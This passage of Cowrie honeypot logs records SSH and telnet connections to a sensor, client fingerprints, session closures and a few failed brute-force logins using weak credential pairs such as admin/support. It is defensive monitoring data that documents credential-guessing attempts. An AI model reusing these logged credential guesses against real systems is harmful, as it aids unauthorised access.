ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:58.690821Z","src_ip":"202.165.22.58","session":"cbb6ab902287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9527572afa0","protocol":"telnet","message":"New connection: 142.93.2.99:41028 (159.203.135.109:23) [session: a9527572afa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:59.701713Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zg123456","message":"login attempt [root/Zg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:59.863201Z","src_ip":"202.165.22.58","session":"cbb6ab902287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41956,"dst_ip":"159.203.135.109","dst_port":23,"session":"1488ef8c6e7e","protocol":"telnet","message":"New connection: 142.93.2.99:41956 (159.203.135.109:23) [session: 1488ef8c6e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:59.913439Z"}
{"eventid":"cowrie.session.closed","duration":32.90347170829773,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:00.657276Z","src_ip":"142.93.2.99","session":"fc02c15b0018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:01.156627Z","src_ip":"202.165.22.58","session":"cbb6ab902287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.61842703819275,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:02.906669Z","src_ip":"142.93.2.99","session":"7fed919467c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":58572,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf7ab7b00fa","protocol":"ssh","message":"New connection: 193.24.211.95:58572 (159.203.135.109:22) [session: ddf7ab7b00fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:03.221802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:03.227146Z","src_ip":"193.24.211.95","session":"ddf7ab7b00fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:03.335872Z","src_ip":"193.24.211.95","session":"ddf7ab7b00fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"support","message":"login attempt [admin/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:03.761320Z","src_ip":"193.24.211.95","session":"ddf7ab7b00fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:04.873459Z","src_ip":"193.24.211.95","session":"ddf7ab7b00fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.63648080825806,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:05.468859Z","src_ip":"142.93.2.99","session":"295b16ae7c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32312202453613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:05.726240Z","src_ip":"142.93.2.99","session":"47f6c3ac7699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78912544250488,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:06.262981Z","src_ip":"142.93.2.99","session":"36aadc458979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49384307861328,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:07.854825Z","src_ip":"142.93.2.99","session":"042d91af3295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47994,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf7f081b678","protocol":"telnet","message":"New connection: 142.93.2.99:47994 (159.203.135.109:23) [session: 9bf7f081b678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:08.043447Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48532,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a31a6250c5f","protocol":"telnet","message":"New connection: 142.93.2.99:48532 (159.203.135.109:23) [session: 8a31a6250c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:08.704850Z"}
{"eventid":"cowrie.session.closed","duration":33.74441123008728,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:10.282239Z","src_ip":"142.93.2.99","session":"35e1eea04f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49932,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0a174818ca","protocol":"telnet","message":"New connection: 142.93.2.99:49932 (159.203.135.109:23) [session: ca0a174818ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:10.533128Z"}
{"eventid":"cowrie.session.closed","duration":32.697049379348755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:11.136947Z","src_ip":"142.93.2.99","session":"67e3488afa89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16014003753662,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:11.506014Z","src_ip":"142.93.2.99","session":"bb904017f398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.20932388305664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:13.695100Z","src_ip":"142.93.2.99","session":"8ad29eff1aa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.024460554122925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:14.013111Z","src_ip":"142.93.2.99","session":"c8f44761ee3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47724,"dst_ip":"159.203.135.109","dst_port":23,"session":"c522028be3e6","protocol":"telnet","message":"New connection: 142.93.2.99:47724 (159.203.135.109:23) [session: c522028be3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:14.658069Z"}
{"eventid":"cowrie.session.closed","duration":32.863476037979126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:14.965276Z","src_ip":"142.93.2.99","session":"dc9cea6600ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53668,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a86b206166","protocol":"telnet","message":"New connection: 142.93.2.99:53668 (159.203.135.109:23) [session: 58a86b206166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:15.095431Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4904dd32dd0","protocol":"telnet","message":"New connection: 104.245.105.2:56894 (10.17.0.5:23) [session: c4904dd32dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:15.530476Z"}
{"eventid":"cowrie.session.closed","duration":34.17603349685669,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:18.775996Z","src_ip":"142.93.2.99","session":"8a16b00464d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56482,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d6f328efb0","protocol":"telnet","message":"New connection: 142.93.2.99:56482 (159.203.135.109:23) [session: 95d6f328efb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:19.505705Z"}
{"eventid":"cowrie.session.closed","duration":34.512587547302246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:19.549477Z","src_ip":"142.93.2.99","session":"d5dd8f5b2c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86222290992737,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:20.359688Z","src_ip":"142.93.2.99","session":"42ccbb712dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59214,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cc2c8146bfc","protocol":"telnet","message":"New connection: 142.93.2.99:59214 (159.203.135.109:23) [session: 6cc2c8146bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:21.551311Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33640,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43ed3af52f9","protocol":"telnet","message":"New connection: 142.93.2.99:33640 (159.203.135.109:23) [session: d43ed3af52f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:24.595605Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d209f38b81","protocol":"telnet","message":"New connection: 142.93.2.99:59462 (159.203.135.109:23) [session: 77d209f38b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:24.777962Z"}
{"eventid":"cowrie.session.closed","duration":32.79999661445618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:25.282719Z","src_ip":"142.93.2.99","session":"c4894d0a2e30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34520,"dst_ip":"159.203.135.109","dst_port":23,"session":"5af5c1669260","protocol":"telnet","message":"New connection: 142.93.2.99:34520 (159.203.135.109:23) [session: 5af5c1669260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:25.541045Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33660,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf01d2185396","protocol":"telnet","message":"New connection: 142.93.2.99:33660 (159.203.135.109:23) [session: cf01d2185396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:25.633915Z"}
{"eventid":"cowrie.session.closed","duration":33.83610224723816,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:26.857874Z","src_ip":"142.93.2.99","session":"78de37dad123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"07fddfc39fb9","protocol":"telnet","message":"New connection: 142.93.2.99:33212 (159.203.135.109:23) [session: 07fddfc39fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:27.113584Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d22aff727a","protocol":"telnet","message":"New connection: 142.93.2.99:38298 (159.203.135.109:23) [session: b5d22aff727a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:29.644284Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42740,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f66c071b438","protocol":"ssh","message":"New connection: 189.194.140.170:42740 (159.203.135.109:22) [session: 2f66c071b438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:30.248541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:30.255190Z","src_ip":"189.194.140.170","session":"2f66c071b438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:30.350132Z","src_ip":"189.194.140.170","session":"2f66c071b438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:30.739034Z","src_ip":"189.194.140.170","session":"2f66c071b438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.97115707397461,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:30.744601Z","src_ip":"142.93.2.99","session":"8b18b6ec0c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.824036359786987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:31.525618Z","src_ip":"142.93.2.99","session":"a9527572afa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:31.836604Z","src_ip":"189.194.140.170","session":"2f66c071b438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40726,"dst_ip":"159.203.135.109","dst_port":23,"session":"2961dd06b7ec","protocol":"telnet","message":"New connection: 142.93.2.99:40726 (159.203.135.109:23) [session: 2961dd06b7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:32.512717Z"}
{"eventid":"cowrie.session.closed","duration":33.96621036529541,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:32.567523Z","src_ip":"142.93.2.99","session":"25c9eb5c6c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41068,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba64ab71000","protocol":"telnet","message":"New connection: 142.93.2.99:41068 (159.203.135.109:23) [session: 0ba64ab71000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:32.904872Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41264,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2e139a3d28","protocol":"telnet","message":"New connection: 142.93.2.99:41264 (159.203.135.109:23) [session: 1e2e139a3d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:33.137099Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58816,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4044bbc743","protocol":"telnet","message":"New connection: 104.245.105.2:58816 (10.17.0.5:23) [session: 8a4044bbc743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:33.464180Z"}
{"eventid":"cowrie.session.closed","duration":33.71272587776184,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:33.626056Z","src_ip":"142.93.2.99","session":"1488ef8c6e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43432,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3ad437e3c7","protocol":"telnet","message":"New connection: 142.93.2.99:43432 (159.203.135.109:23) [session: be3ad437e3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:35.569716Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45310,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c257757c2f6","protocol":"telnet","message":"New connection: 142.93.2.99:45310 (159.203.135.109:23) [session: 3c257757c2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:38.686064Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47354,"dst_ip":"159.203.135.109","dst_port":23,"session":"18605bdb6582","protocol":"telnet","message":"New connection: 142.93.2.99:47354 (159.203.135.109:23) [session: 18605bdb6582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:39.934494Z"}
{"eventid":"cowrie.session.closed","duration":32.55971574783325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:40.603001Z","src_ip":"142.93.2.99","session":"9bf7f081b678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.658026695251465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:41.362799Z","src_ip":"142.93.2.99","session":"8a31a6250c5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50716,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2be4684d20c","protocol":"telnet","message":"New connection: 142.93.2.99:50716 (159.203.135.109:23) [session: e2be4684d20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:43.727976Z"}
{"eventid":"cowrie.session.closed","duration":33.98629188537598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:44.519282Z","src_ip":"142.93.2.99","session":"ca0a174818ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060741186141968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:46.591129Z","src_ip":"104.245.105.2","session":"c4904dd32dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52702,"dst_ip":"159.203.135.109","dst_port":23,"session":"f04a245030f7","protocol":"telnet","message":"New connection: 142.93.2.99:52702 (159.203.135.109:23) [session: f04a245030f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:46.894162Z"}
{"eventid":"cowrie.session.closed","duration":32.895609617233276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:47.553532Z","src_ip":"142.93.2.99","session":"c522028be3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54212,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c23aae46659","protocol":"telnet","message":"New connection: 142.93.2.99:54212 (159.203.135.109:23) [session: 4c23aae46659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:47.565858Z"}
{"eventid":"cowrie.session.closed","duration":32.665385246276855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:47.760682Z","src_ip":"142.93.2.99","session":"58a86b206166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55078,"dst_ip":"159.203.135.109","dst_port":23,"session":"a00accef17fc","protocol":"telnet","message":"New connection: 142.93.2.99:55078 (159.203.135.109:23) [session: a00accef17fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:48.517656Z"}
{"eventid":"cowrie.session.closed","duration":31.56230092048645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:51.067901Z","src_ip":"142.93.2.99","session":"95d6f328efb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37315225601196,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:54.924314Z","src_ip":"142.93.2.99","session":"6cc2c8146bfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07054376602173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:56.848349Z","src_ip":"142.93.2.99","session":"77d209f38b81","protocol":"telnet"}
